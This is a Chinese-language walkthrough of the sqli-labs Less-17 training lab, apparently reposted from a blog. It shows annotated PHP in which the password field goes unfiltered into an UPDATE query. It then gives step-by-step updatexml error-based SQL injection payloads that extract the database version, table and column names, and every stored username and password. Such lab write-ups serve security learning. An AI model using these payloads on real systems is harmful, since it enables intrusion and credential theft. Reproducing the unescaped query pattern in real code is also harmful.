// take the variables//接受变量
// //也就是插入post提交的uname和passwd,参见:https://www.w3school.com.cn/sql/sql_insert.asp
if(isset($_POST['uname']) && isset($_POST['passwd'])){
//making sure uname is not injectable//使用了check_input函数,确保了uname不可注入
$uname=check_input($_POST['uname']);
//73步中没有对passwd进行像uname一样的过滤,导致passwd可以注入
$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.//将连接参数记录到文件中进行分析。
//fopen默认是打开文件result.txt,权限<a>是不会覆盖原文件,当文本不存在时就创建文本
$fp=fopen('result.txt','a');
fwrite($fp,'User Name:'.$uname."\n");
fwrite($fp,'New Password:'.$passwd."\n");
fclose($fp);// connectivity //连通性
// sql查询语句
// 从表users中的username列的$uname行查询username和password
// LIMIT用来限制sql查询后返回结果的数量,LIMIT 0,1指从第0位开始返回1条数据
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
//mysql_query — 发送一条 MySQL 查询,但是在php5.5.0之后就废弃,换为了mysqli_query和PDO::query
//90行,执行查询
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;if($row){//echo '<font color= "#0000ff">';    $row1 = $row['username'];      //echo 'Your Login name:'. $row1;//update用于修改表中的数据,参见:https://www.w3school.com.cn/sql/sql_update.asp//更新表uses中的列password为$passwd,在和列username中$row1同行的位置$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";//下面这句执行查询语句真不知道是查询什么,updata用来更新数据,查询updata,好像没意义mysql_query($update);echo "<br>";

部分源码如上

uname被过滤源码没放出来就省略,但是passwd没有被过滤,可以对passwd进行注入

我们是有updatexml报错注入

查数据库版本

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#&submit=Submit

查数据库

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#&submit=Submit

查表~可以看到被限制了查询数据的量

uname=admin&passwd=1' and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema='security' )),0)%23&submit=Submit

使用LIMIT 来控制查询数量

查表

 uname=admin&passwd=1' and updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema='security' limit 0,1)),0)%23&submit=Submit 

limit 0,1 限制查询从0开始的往后一个表,也就是第一个表为 emils

依次测试以后,可以查到很多表~limit 3,1~也就是第4个表~就是我们想查的表users

查列

uname=admin&passwd=1' and updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema. columns WHERE table_name='users' and table_schema='security' limit 0,1)),0)%23&submit=Submit

LIMIT 0.1

LIMIT 1,1

LIMIT 2.1

查列下的字段内容

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select concat(id,username,password) from security.users limit 0,1),0x7e),1) %23&submit=Submit

回显不能使用from指定更新的目标表 users

查询其他表是可以正常查询的

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select concat(id,email_id) from security.emails limit 0,1),0x7e),1) %23&submit=Submit

创建一个新的零时表tmp用于查询,就可以解决上面的问题

uname=admin&passwd=chybeta' and updatexml(1,concat(0x7e,(SELECT group_concat(0x3a,username,0x3a,password,0x23) FROM (select * from users)tmp ),0x7e),1)#&submit=Submit

(select * from users )tmp   :为创建一个新的表tmp

SELECT group_concat(0x3a,username,0x3a,password,0x23) FROM <表名> :为查询表中的数据

updatexml有长度限制,最长32位

特别感谢chybeta:https://chybeta.github.io/2017/08/23/Sqli-Labs-Less17-writeup/

转载于:https://www.cnblogs.com/Hunter-01001100/p/11370477.html

updataxml报错注入相关推荐

  1. SQL注入之时间盲注 和 报错注入(sql-lab第一关为例)

    什么是时间盲注 时间盲注指通过页面执行的时间来判断数据内容的注入方式,通常用于数据(包含逻辑型)不能返回到页面中的场景,无法利用页面回显判断数据内容,只能通过执行的时间来获取数据. 时间盲注的过程 1 ...

  2. mysql报错注入原理,MySQL报错注入

    什么是报错注入 SQL报错注入就是利用数据库的某些机制,人为地制造错误条件,使得查询结果可以出现在错误信息中.我一位好友的博客写过一个SQL注入的专栏,除了报错注入以外,别的类型也写了,而且比较详细, ...

  3. SQL注入——报错注入

    0x00 背景 SQL注入长期位于OWASP TOP10 榜首,对Web 安全有着很大的影响,黑客们往往在注入过程中根据错误回显进行判断,但是现在非常多的Web程序没有正常的错误回显,这样就需要我们利 ...

  4. phpcms mysql 事务_phpcms某站点MySQL报错注入

    phpcms某站点MySQL报错注入 Referer可注入:GET /index.php HTTP/1.1Referer: 123*User-Agent: Mozilla/5.0 (iPhone; C ...

  5. SQL注入攻击(SQL注入(SQLi)攻击)-报错注入

    页面没有显示位 , 但有数据库的报错信息时 , 可使用报错注入 报错注入是最常用的注入方式 , 也是使用起来最方便(我觉得)的一种注入方式 updatexml(1,'~',3); 第二个参数包含特殊字 ...

  6. sqlmap报错注入

    0x00 背景 学习记录一下报错型的注入,经各方整理和自己总结形成. 所有的注入原理都是一样,即用户输入被拼接执行.但后台数据库执行语句产生错误并回显到页面时即可能存在报错注入. 0x01概念 报错型 ...

  7. SQL注入 1-3_基于post报错注入

    ** SQL注入 1-3_基于post报错注入 ** 一.概念 客户端提交参数基于post 1.基于post注入不会拼接到url 2.相对get提交参数更加安全 3.但是依然可以使用代理(中间人)截断 ...

  8. 报错注入_sqli-labs less5 Double Query- Single Quotes- String

    sqli-labs less5 Double Query- Single Quotes- String ?id=1 无回显 考虑报错注入 (1)判断字符型还是数字型 http://39.101.162 ...

  9. mysql的count报错_Mysql报错注入原理分析count、rand、groupby

    0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截图,然后执行sql语句证明一下结论,但是没有人去深入研究为什么rand不能和o ...

  10. 注入双括号报错注入_SQL手动注入:sqlilabs(less110)

    种一棵树最好的时间是10年前,其次是现在. 忘了是谁 前言 说实话,由于前段时间学 python ,对于 OWASP TOP10 漏洞的学习都有所落下,虽然现在也在慢慢复习当中,但是今晚谈及的 SQL ...

最新文章

  1. C#.NET通用权限管理在DB2数据库上运行的脚本参考 - 序列创建脚本参考
  2. JavaScript学习笔记(备忘录)
  3. 运维基础(1)Nginx
  4. C# 自定义 implicit和explicit转换
  5. python中的chr和ord函数_python chr()和ord() | 学步园
  6. Scrapy 调用chrome浏览器的middleware
  7. 用openbabel将pdbqt文件转成pdb
  8. echrts多条折线
  9. 如何让git小乌龟工具TortoiseGit记住你的账号密码
  10. Linkedin如何避免封号
  11. java batik_java – Batik传递库依赖项
  12. ul阻燃标准有几个等级_最详细的UL阻燃等级介绍说明,快看过来
  13. macOS 安装老旧版本的 adobe 应用
  14. CSS 实现音频loding动画
  15. 怀孕期间各个月注意事项
  16. 小学教师听课体会 计算机,小学教师观有效课堂听课心得体会
  17. 差点被一个柿子砸中 -_-
  18. 用友u8计算机快捷键,用友U8快捷键一览表
  19. C语言的数据类型详解及应用
  20. 2015-06-28 14:57:18 OJ期末模考G

热门文章

  1. c语言随机抽取小程序_c++ c语言编写抽学号小程序
  2. 创业阶段如何找客户_如何找创业合伙人
  3. java练手小程序_Java小程序练习
  4. python语法学习第九天--else和with语句
  5. es6 将字符串转换为json_ES6中Json、String、Map、Object之间的转换
  6. 手机5g什么时候普及_5G手机什么时间普及,现在买4G手机划算吗?
  7. ubuntu20.x安装 podman
  8. kvm Libvirt qemu-kvm虚拟主机指定固定IP
  9. Eureka-Client 注册服务到 Eureka-Server
  10. Java8新特性:接口